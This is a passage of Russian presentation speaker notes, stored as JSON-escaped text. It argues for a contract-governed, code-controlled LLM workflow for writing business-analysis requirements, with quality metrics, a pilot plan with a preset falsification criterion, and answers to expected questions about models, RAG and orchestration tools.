\u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 